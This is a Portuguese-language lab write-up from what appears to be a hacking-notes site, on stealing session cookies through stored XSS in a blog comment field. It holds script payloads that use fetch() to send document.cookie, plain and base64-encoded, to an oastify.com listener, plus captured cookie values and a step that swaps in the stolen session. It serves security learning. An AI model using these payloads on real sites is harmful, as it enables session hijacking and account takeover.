> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/cookie-theft-via-xss.md).

# Roubo de Cookies via XSS

### Explorando Cross-site Scripting para Roubar Cookies

O laboratório possui uma vulnerabilidade de XSS armazenada na função de comentários do blog. Um usuário vítima consulta os comentários após a publicação. O objetivo educacional é entender como uma injeção do lado do cliente pode levar à exfiltração de informações de sessão e como protegê-la.

O campo de comentário não aplica codificação ou escape suficientes à entrada do usuário, permitindo que o navegador injete conteúdo quando outro usuário exibe a página.

```javascript
<script>alert(0)</script>
```

<figure><img src="/files/fb85bca583db2cb36c24fceee53ceb37b9c8073f" alt="" width="527"><figcaption></figcaption></figure>

Usamos `fetch` para fazer requisições:

```javascript
<script>
  fetch("https://o0ppmd5fv2hmt8tb190bl5cy4pagy9my.oastify.com/" + "/jordan");
</script>
```

A requisição chega à infraestrutura de escuta.

<figure><img src="/files/53a31176988486f3acdb75352dac476dcc55eb96" alt=""><figcaption></figcaption></figure>

Enviamos o cookie de sessão:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + document.cookie);
</script>
```

<figure><img src="/files/4757ca0a225608ca769ff49f4737707d9fe5131a" alt=""><figcaption></figcaption></figure>

```
secret=QplRMu1d8Cvif8Ai7En7j3ADRb0DZxa0;
session=sw0gW8IuyBITTD0ChgDydWcmuFx5J79D
```

Em seguida, substituímos o cookie de sessão.

<figure><img src="/files/eb42e71e0299349057f0b1962bbcfe2461a21725" alt=""><figcaption></figcaption></figure>

Você também pode codificar o conteúdo em base64 antes de enviar:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + btoa(document.cookie));
</script>
```


---

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```
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